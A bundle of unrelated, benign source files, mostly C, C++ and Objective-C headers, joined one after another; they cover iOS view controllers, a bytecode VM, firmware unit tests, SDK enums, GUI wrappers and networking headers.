// // HPWBaseSessionViewController.h // TaiYangHua // // Created by Vieene on 15/12/30. // Copyright © 2015年 hhly. All rights reserved. // #import "HPWBaseViewController.h" typedef NS_ENUM(NSUInteger, HPWSessionStyle) { HPWSessionStyleRobot = 0,//机器人模式 HPWSessionStyleHuman = 1,//人工模式 }; typedef NS_ENUM(NSInteger,HPWMessageViewState) { HPWMessageViewStateShowInit = 0,//键盘复位模式 HPWMessageViewStateShowFace,//显示表情模式 HPWMessageViewStateShowRecord,//录音模式 HPWMessageViewStateShowKeyboard,//显示系统键盘模式 }; @class HPWMessageInputView,HPWInformationView,HPWDataSource; @interface HPWBaseSessionViewController : HPWBaseViewController /** 初始化 @param style 会话的模式 */ - (instancetype)initWithHPWSessionVCStyle:(HPWSessionStyle)style; /** 会话的模式 */ @property (nonatomic,assign,readonly) HPWSessionStyle sessionStyle; /** 消息展示视图 */ @property (nonatomic,strong) UITableView *tableView; /** 消息数据源 */ @property (nonatomic,strong) HPWDataSource *dataSource; /** 输入条工具栏 */ @property (nonatomic,strong) HPWMessageInputView *inputToolBarView; /** 提示信息栏视图 */ @property (nonatomic,strong) HPWInformationView *infomationView; /** 键盘显示 */ -(void)keyboardShow:(NSNotification *)note; /** 键盘隐藏 */ -(void)keyboardHide:(NSNotification *)note; /** 切换输入框状态 */ - (void)swtchSessionModelToHPWMessageViewState:(HPWMessageViewState) messageViewState; /** tabview滑动到最底端 @param animation 是否动画 */ -(void)tableViewScrollCurrentIndexPathWithAnimation:(BOOL)animation; @end
/* Copyright 2016 Michael Thompson Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http ://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #ifndef H_COMID_VM #define H_COMID_VM #include "comid_common.h" #include "comid_datatype.h" #include "comid_bytecode.h" #include "comid_parser.h" #include <stack> namespace comid{ struct opcode { ct_opcode op; int sub; ct_address addr; std::vector<ct_memory> m; }; class memory { vec_datatype list; public: void allocate(datatype& type); int copy(memory& _memory); friend class vm; }; class binary { memory factory_memory; std::ifstream input_buf; std::vector<opcode> opcode_list; public: int copy_factory_memory(memory& _memory); friend class vm; }; class parameters { vec_datatype list; public: int count(); datatype& get(int index); datatype& operator[](int index); friend class vm; }; class function { int index; public: int get_index(); virtual ct_string id(); virtual int call(parameters& param); }; class program { int position; binary* bin; std::stack<ct_address> call_hierarchy; public: program(); program(binary* b); void restart(); void set_binary(binary* b); friend class vm; }; class vm { std::vector<function*> function_list; int compare; public: int tick(program& exe, memory& mem); int register_function(function& func); int load(std::istream& stream, binary& bin); int load(ct_bytecode bc, binary& bin); friend int generate(AST ast, ct_bytecode& bc, vm& _vm); }; } // comid namespace end #endif
#ifndef WINDOW_H #define WINDOW_H #include "GL/freeglut.h" // All are globally accessible variables extern const GLubyte BORDER_SIZE; // Width of strips between windows extern const GLuint WINDOW_WIDTH; // Initial window width extern const GLuint WINDOW_HEIGHT; // Initial window height extern const GLuint SUBWINDOW_WIDTH; // Initial subwindow width extern const GLuint SUBWINDOW_HEIGHT; // Initial subwindow height extern GLubyte borderSize; // Mutable border size extern GLuint windowWidth; // Mutable window width extern GLuint windowHeight; // Mutable window height extern GLuint subwindowWidth; // Mutable subwindow width extern GLuint subwindowHeight; // Mutable subwindow height #endif
/* * ===================================================================================== * * Filename: 1-12memerr.c * * Description: * * Version: 1.0 * Created: 2014年08月10日 11时14分55秒 * Revision: none * Compiler: gcc * * Author: Z_Z.W (ZZW), myhongkongzhen@gmail.com * Organization: * * ===================================================================================== */ #include <stdio.h> #include <errno.h> #include <stdlib.h> #include <unistd.h> #include <string.h> extern int errno; int main(){ int* p = (int*)sbrk(10000000000*4); if(p == (void*)-1){ printf("error!\n"); printf("-----------------\n"); printf("Memory:%m\n"); printf("-----------------\n"); perror("error"); printf("-----------------\n"); printf("::%s\n",strerror(errno)); } return 0; }
#include "fd_binary.h" #include "fd_detour.h" #include "fd_hal_system.h" #include "fd_log.h" #include "fd_storage.h" #include "fd_storage_buffer.h" #include "fd_sync.h" #include "fd_w25q16dw.h" static fd_storage_metadata_t get_metadata(uint8_t *bytes, uint32_t length) { fd_binary_t binary; fd_binary_initialize(&binary, bytes, length); uint8_t packet_sequence_number = fd_binary_get_uint8(&binary); uint8_t packet_length = fd_binary_get_uint16(&binary); uint8_t packet_command = fd_binary_get_uint8(&binary); binary.get_index += HARDWARE_ID_SIZE; fd_storage_metadata_t metadata; metadata.page = fd_binary_get_uint32(&binary); metadata.length = fd_binary_get_uint16(&binary); metadata.hash = fd_binary_get_uint16(&binary); metadata.type = fd_binary_get_uint32(&binary); return metadata; } void fd_sync_unit_tests(void) { fd_storage_initialize(); fd_storage_area_t area; fd_storage_area_initialize(&area, 0, 1); fd_log_assert(fd_storage_used_page_count() == 0); fd_sync_initialize(); fd_detour_t detour; uint8_t detour_data[128]; fd_detour_initialize(&detour, detour_data, sizeof(detour_data)); fd_detour_source_t source; fd_detour_source_initialize(&source); fd_detour_source_collection_t collection; uint8_t collection_bytes[128]; fd_detour_source_collection_initialize(&collection, fd_lock_owner_usb, 64, collection_bytes, sizeof(collection_bytes)); fd_sync_start(&collection, (uint8_t *)0, 0); fd_log_assert(collection.bufferCount == 64); fd_storage_metadata_t metadata = get_metadata(collection_bytes, sizeof(collection_bytes)); fd_log_assert(metadata.page == 0xfffffffe); // reset detour... fd_detour_clear(&detour); fd_detour_source_initialize(&source); fd_detour_source_collection_initialize(&collection, fd_lock_owner_usb, 64, collection_bytes, sizeof(collection_bytes)); uint8_t bytes[2] = {0x5a, 0x00}; fd_storage_area_append_page(&area, 0x1234, bytes, 1); fd_sync_start(&collection, (uint8_t *)0, 0); fd_log_assert(collection.bufferCount == 64); metadata = get_metadata(collection_bytes, sizeof(collection_bytes)); fd_log_assert(metadata.page == 0); fd_detour_source_collection_initialize(&collection, fd_lock_owner_usb, 64, collection_bytes, sizeof(collection_bytes)); uint8_t data[64]; fd_binary_t binary; fd_binary_initialize(&binary, data, sizeof(data)); fd_binary_put_uint32(&binary, metadata.page); fd_binary_put_uint16(&binary, metadata.length); fd_binary_put_uint16(&binary, metadata.hash); fd_binary_put_uint32(&binary, metadata.type); fd_sync_ack(&collection, data, sizeof(data)); fd_log_assert(fd_storage_used_page_count() == 0); fd_detour_source_collection_initialize(&collection, fd_lock_owner_usb, 64, collection_bytes, sizeof(collection_bytes)); fd_sync_start(&collection, (uint8_t *)0, 0); fd_log_assert(collection.bufferCount == 64); metadata = get_metadata(collection_bytes, sizeof(collection_bytes)); fd_log_assert(metadata.page == 0xfffffffe); }
/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #pragma once #include <aws/imagebuilder/Imagebuilder_EXPORTS.h> #include <aws/core/utils/memory/stl/AWSString.h> namespace Aws { namespace imagebuilder { namespace Model { enum class ComponentStatus { NOT_SET, DEPRECATED }; namespace ComponentStatusMapper { AWS_IMAGEBUILDER_API ComponentStatus GetComponentStatusForName(const Aws::String& name); AWS_IMAGEBUILDER_API Aws::String GetNameForComponentStatus(ComponentStatus value); } // namespace ComponentStatusMapper } // namespace Model } // namespace imagebuilder } // namespace Aws
// // JXGuideController.h // NewGuidePages // // Created by 白金星 on 15/12/15. // Copyright © 2015年 cn.bjx680. All rights reserved. // #import <UIKit/UIKit.h> @interface JXGuideController : UICollectionViewController @end
// Copyright 2011 Google Inc. All Rights Reserved. // Author: dehao@google.com (Dehao Chen) // Class to build a map from instruction address to its information. #ifndef AUTOFDO_INSTRUCTION_MAP_H_ #define AUTOFDO_INSTRUCTION_MAP_H_ #include <cstdint> #include <map> #include <string> #include <utility> #include "base/integral_types.h" #include "base/logging.h" #include "base/macros.h" #include "symbol_map.h" namespace devtools_crosstool_autofdo { class SampleReader; class Addr2line; // InstructionMap stores all the disassembled instructions in // the binary, and maps it to its information. class InstructionMap { public: // Arguments: // addr2line: addr2line class, used to get the source stack. // symbol: the symbol map. This object is not const because // we will update the file name of each symbol // according to the debug info of each instruction. InstructionMap(Addr2line *addr2line, SymbolMap *symbol) : symbol_map_(symbol), addr2line_(addr2line) { } // Deletes all the InstInfo, which was allocated in BuildInstMap. ~InstructionMap(); // Returns the size of the instruction map. uint64_t size() const { return inst_map_.size(); } // Builds instruction map for a function. void BuildPerFunctionInstructionMap(const std::string &name, uint64_t start_addr, uint64_t end_addr); // Contains information about each instruction. struct InstInfo { const SourceInfo &source(int i) const { DCHECK(i >= 0 && source_stack.size() > i); return source_stack[i]; } SourceStack source_stack; }; typedef std::map<uint64_t, InstInfo *> InstMap; const InstMap &inst_map() const { return inst_map_; } private: // A map from instruction address to its information. InstMap inst_map_; // A map from symbol name to symbol data. SymbolMap *symbol_map_; // Addr2line driver which is used to derive source stack. Addr2line *addr2line_; DISALLOW_COPY_AND_ASSIGN(InstructionMap); }; } // namespace devtools_crosstool_autofdo #endif // AUTOFDO_INSTRUCTION_MAP_H_
// Copyright 2016 Proyectos y Sistemas de Mantenimiento SL (eProsima). // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // #ifndef MOCK_BLACKBOX_LOG_CONSUMER_H #define MOCK_BLACKBOX_LOG_CONSUMER_H #include <fastdds/dds/log/Log.hpp> #include <thread> #include <mutex> #include <vector> namespace eprosima { namespace fastdds { namespace dds { class BlackboxMockConsumer : public LogConsumer { public: virtual void Consume( const Log::Entry& entry) { std::unique_lock<std::mutex> guard(mMutex); mEntriesConsumed.push_back(entry); cv_.notify_one(); } const std::vector<Log::Entry> ConsumedEntries() const { std::unique_lock<std::mutex> guard(mMutex); return mEntriesConsumed; } std::condition_variable& cv() { return cv_; } private: std::vector<Log::Entry> mEntriesConsumed; mutable std::mutex mMutex; std::condition_variable cv_; }; } // namespace dds } // namespace fastdds } // namespace eprosima #endif // ifndef MOCK_BLACKBOX_LOG_CONSUMER_H
// MainFrm.h : interface of the CMainFrame class // ///////////////////////////////////////////////////////////////////////////// #pragma once #include <vector> #include "content/simple/simple_browser_main_parts.h" #include "content/simple/simple_web_contents_delegate.h" class CAddressBar; class CSimpleClient; class CSimpleTab; class content::SimpleBrowserMainParts; class CMainFrame : public CFrameWindowImpl<CMainFrame>, public CUpdateUI<CMainFrame>, public CMessageFilter, public CIdleHandler { public: DECLARE_FRAME_WND_CLASS(NULL, IDR_MAINFRAME) //CSimpleView m_view; //CCommandBarCtrl m_CmdBar; virtual BOOL PreTranslateMessage(MSG* pMsg); virtual BOOL OnIdle(); virtual ~CMainFrame(){}; BEGIN_UPDATE_UI_MAP(CMainFrame) UPDATE_ELEMENT(ID_VIEW_TOOLBAR, UPDUI_MENUPOPUP) UPDATE_ELEMENT(ID_VIEW_STATUS_BAR, UPDUI_MENUPOPUP) END_UPDATE_UI_MAP() BEGIN_MSG_MAP(CMainFrame) MESSAGE_HANDLER(WM_CREATE, OnCreate) MESSAGE_HANDLER(WM_DESTROY, OnDestroy) MESSAGE_HANDLER(WM_USER_RETURN, OnReturn) MESSAGE_HANDLER(WM_USER_CREATE_TAB, OnCreateTab) MESSAGE_HANDLER(WM_USER_SWITCH_TAB, OnSwitchTab) MESSAGE_HANDLER(WM_USER_ADD_TAB, OnAddTab) MESSAGE_HANDLER(WM_USER_CLOSE_TAB, OnCloseTab) MESSAGE_HANDLER(WM_USER_UPDATE_TAB, OnUpdateTab) MESSAGE_HANDLER(WM_USER_SET_URL, OnSetUrl) MESSAGE_HANDLER(WM_USER_BACK, OnBack) MESSAGE_HANDLER(WM_USER_FORWARD, OnForward) MESSAGE_HANDLER(WM_USER_RELOAD, OnReload) MESSAGE_HANDLER(WM_USER_STOP, OnStop) MSG_WM_SIZE(OnSize) COMMAND_ID_HANDLER(ID_VIEW_TOOLBAR, OnViewToolBar) COMMAND_ID_HANDLER(ID_VIEW_STATUS_BAR, OnViewStatusBar) COMMAND_ID_HANDLER(ID_APP_ABOUT, OnAppAbout) CHAIN_MSG_MAP(CUpdateUI<CMainFrame>) CHAIN_MSG_MAP(CFrameWindowImpl<CMainFrame>) END_MSG_MAP() // Handler prototypes (uncomment arguments if needed): // LRESULT MessageHandler(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/) // LRESULT CommandHandler(WORD /*wNotifyCode*/, WORD /*wID*/, HWND /*hWndCtl*/, BOOL& /*bHandled*/) // LRESULT NotifyHandler(int /*idCtrl*/, LPNMHDR /*pnmh*/, BOOL& /*bHandled*/) CMainFrame(); LRESULT OnCreate(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/); LRESULT OnDestroy(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& bHandled); LRESULT OnViewToolBar(WORD /*wNotifyCode*/, WORD /*wID*/, HWND /*hWndCtl*/, BOOL& /*bHandled*/); LRESULT OnViewStatusBar(WORD /*wNotifyCode*/, WORD /*wID*/, HWND /*hWndCtl*/, BOOL& /*bHandled*/); LRESULT OnAppAbout(WORD /*wNotifyCode*/, WORD /*wID*/, HWND /*hWndCtl*/, BOOL& /*bHandled*/); LRESULT OnReturn(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/); LRESULT OnCreateTab(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/); LRESULT OnSwitchTab(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/); LRESULT OnAddTab(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/); LRESULT OnCloseTab(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/); LRESULT OnUpdateTab(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/); LRESULT OnSetUrl(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/); LRESULT OnBack(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/); LRESULT OnForward(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/); LRESULT OnReload(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/); LRESULT OnStop(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/); void OnSize(UINT nType, CSize size); void OpenHomePage(); void IniUI(); void LayoutUI(int x, int y); //void SwitchTab(HWND hwnd); //void SwitchTab(HWND hwnd); public: CAddressBar* m_addressbar; CSimpleClient* m_clientview; CSimpleTab* m_tab; content::SimpleBrowserMainParts* m_browser_main; content::SimpleWebContentsDelegate* m_web_contents_delegate; };
// // HomeViewController.h // XibaWeibo // // Created by bos on 15-6-4. // Copyright (c) 2015年 axiba. All rights reserved. // #import <UIKit/UIKit.h> @interface HomeViewController : UITableViewController @end
#ifndef SOCIALMEDIAICONS_H_INCLUDED #define SOCIALMEDIAICONS_H_INCLUDED #include "../JuceLibraryCode/JuceHeader.h" class SocialMediaIcons : public juce::Component, public juce::ButtonListener { public: SocialMediaIcons(); ~SocialMediaIcons(); void paint (juce::Graphics&) override; void resized() override; void buttonClicked(juce::Button* button) override; private: juce::ImageButton _facebookButton; juce::ImageButton _twitterButton; juce::ImageButton _linkedinButton; juce::ImageButton _githubButton; juce::HyperlinkButton _facebookLink; juce::HyperlinkButton _twitterLink; juce::HyperlinkButton _linkedinLink; juce::HyperlinkButton _githubLink; JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (SocialMediaIcons) }; #endif // SOCIALMEDIAICONS_H_INCLUDED
#ifndef L_ENGINE_IMGUI #define L_ENGINE_IMGUI #include "../Defines.h" #include "../LuaInclude.h" #include "../Resources/RSC_Sprite.h" #include "imgui.h" namespace ImGui { /// Begin new Window void BeginWrapper(const std::string &name); /// Begin new Window with flags void BeginFlags(const std::string &name, int flags); void SetWindowPosWrapper(const char *name, const Vec2 &pos, ImGuiSetCond cond = 0); void SetWindowSizeWrapper(const char *name, const Vec2 &size, ImGuiSetCond cond = 0); Vec2 GetWindowSizeWrapper(); void SetNextWindowSizeWrapper(const Vec2 &size, ImGuiSetCond cond = 0); void SetNextWindowPosWrapper(const Vec2 &pos, ImGuiSetCond cond = 0); void SetNextWindowPosCenterWrapper(ImGuiSetCond cond = 0); /// Must pass y Value void SetNextWindowPosCenterWrapperX(float y, ImGuiSetCond cond = 0); /// Must pass x Value void SetNextWindowPosCenterWrapperY(float x, ImGuiSetCond cond = 0); void SetNextWindowSizeConstraintsWrapper(const Vec2 &size_min, const Vec2 &size_max); /// Display Text void TextWrapper(const std::string &str); /// Display a Button and return whether it was pressed bool ButtonWrapper(const char *label); /// Display a frame from a sprite void Sprite(const RSC_Sprite *sprite, const std::string &animation, int frame); /// Display a button by using a frame from a sprite bool SpriteButton(const /// RSC_Sprite* sprite, const std::string& animation, int frame); bool SpriteButton(const RSC_Sprite *sprite, const std::string &animation, int frame); /** * Create a ProgressBar * Use ImVec2(-1.0f,0.0f) to use all available width * ImVec2(width,0.0f) for a specified width * ImVec2(0.0f,0.0f) uses ItemWidth. * \param fraction Amount of progress bar that is full, between 0.0f and 1.0f * \param screenSize Pixels taken for each axis */ void ProgressBarWrapper(float fraction, const Vec2 &screenSize); /// Display the next widget on the same line as the previous widget void SameLineWrapper(); void SetContext(int c); //////////////////// // Parameter Stacks// //////////////////// void PushStyleColorWindowBG(const Vec4 &c); void PushStyleColorButton(const Vec4 &c); void PushStyleColorButtonHovered(const Vec4 &c); void PushStyleColorButtonActive(const Vec4 &c); void PushStyleColorFrameBG(const Vec4 &c); void PushStyleColorFrameBGHovered(const Vec4 &c); void PushStyleColorFrameBGActive(const Vec4 &c); void PushStyleColorPlotHistogram(const Vec4 &c); void PushStyleColorText(const Vec4 &c); // Returns true if font is pushed bool PushFontWrapper(const std::string &name, int size); void PopFontWrapper(); //////////// // INTERNAL// //////////// void CalculateUV(const RSC_Sprite *sprite, const std::string &animation, int frame, ImTextureID &textureID, Vec2 &size, Vec2 &startUV, Vec2 &endUV); void ExposeLuaInterface(lua_State *state); }; #endif
/* * Copyright 2014 Nippon Telegraph and Telephone Corporation. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file ofp_experimenter_handler.h */ #ifndef __OFP_EXPERIMENTER_HANDLER_H__ #define __OFP_EXPERIMENTER_HANDLER_H__ #include "ofp_common.h" #include "channel.h" /** * ofp_experimenter_request handler. * * @param[in] channel A pointer to \e channel structure. * @param[in] pbuf A pointer to \e pbuf structure. * @param[in] xid_header A pointer to \e ofp_header structure in request. * * @retval LAGOPUS_RESULT_OK Succeeded. * @retval LAGOPUS_RESULT_ANY_FAILURES Failed. */ lagopus_result_t ofp_experimenter_request_handle(struct channel *channel, struct pbuf *pbuf, struct ofp_header *xid_header); #ifdef __UNIT_TESTING__ /** * Create ofp_experimenter_reply. * * @param[in] channel A pointer to \e channel structure. * @param[out] pbuf A pointer to \e pbuf structure. * @param[in] xid_header A pointer to \e ofp_header structure. * @param[in] exper_req A pointer to \e ofp_experimenter_header structure. * * @retval LAGOPUS_RESULT_OK Succeeded. * @retval LAGOPUS_RESULT_ANY_FAILURES Failed. */ lagopus_result_t ofp_experimenter_reply_create(struct channel *channel, struct pbuf **pbuf, struct ofp_header *xid_header, struct ofp_experimenter_header *exper_req); #endif /* __UNIT_TESTING__ */ #endif /* __OFP_EXPERIMENTER_HANDLER_H__ */
// // Server.h // NetworkAdventures // // Created by Jeff on 2013-07-26. // Copyright (c) 2013 Tipping Canoe. All rights reserved. // #import <Foundation/Foundation.h> typedef enum { ServerTypeSMB } NAServerType; @interface NAServer : NSObject @property (nonatomic,retain) NSString *domesticName; @property (nonatomic,retain) NSString *userName; @property (nonatomic,retain) NSString *password; @property (nonatomic,retain) NSString *hostName; @property (nonatomic,retain) NSString *domainName; @property (nonatomic,retain) NSString *ipAddress; @property (nonatomic) NAServerType type; - (void)connectWithUsername:(NSString *)username andPassword:(NSString *)password andCompletionBlock:(void(^)(BOOL connected,NSError *error))completion; @end
#pragma once #include "il2cpp-config.h" #ifndef _MSC_VER # include <alloca.h> #else # include <malloc.h> #endif #include <stdint.h> // System.Array struct Il2CppArray; #include "mscorlib_System_ValueType1744280289.h" #ifdef __clang__ #pragma clang diagnostic push #pragma clang diagnostic ignored "-Winvalid-offsetof" #pragma clang diagnostic ignored "-Wunused-variable" #endif // System.Array/InternalEnumerator`1<UnityEngine.SocialPlatforms.Impl.Score> struct InternalEnumerator_1_t2178373904 { public: // System.Array System.Array/InternalEnumerator`1::array Il2CppArray * ___array_0; // System.Int32 System.Array/InternalEnumerator`1::idx int32_t ___idx_1; public: inline static int32_t get_offset_of_array_0() { return static_cast<int32_t>(offsetof(InternalEnumerator_1_t2178373904, ___array_0)); } inline Il2CppArray * get_array_0() const { return ___array_0; } inline Il2CppArray ** get_address_of_array_0() { return &___array_0; } inline void set_array_0(Il2CppArray * value) { ___array_0 = value; Il2CppCodeGenWriteBarrier(&___array_0, value); } inline static int32_t get_offset_of_idx_1() { return static_cast<int32_t>(offsetof(InternalEnumerator_1_t2178373904, ___idx_1)); } inline int32_t get_idx_1() const { return ___idx_1; } inline int32_t* get_address_of_idx_1() { return &___idx_1; } inline void set_idx_1(int32_t value) { ___idx_1 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif
// // PoemTableViewCell.h // Poem // // Created by scjy on 15/12/5. // Copyright (c) 2015年 芒果科技. All rights reserved. // #import <UIKit/UIKit.h> #import "PoemModal.h" @interface PoemTableViewCell : UITableViewCell @property(nonatomic,retain)PoemModal *modal; @property(nonatomic,retain) UILabel *nameLabel; @end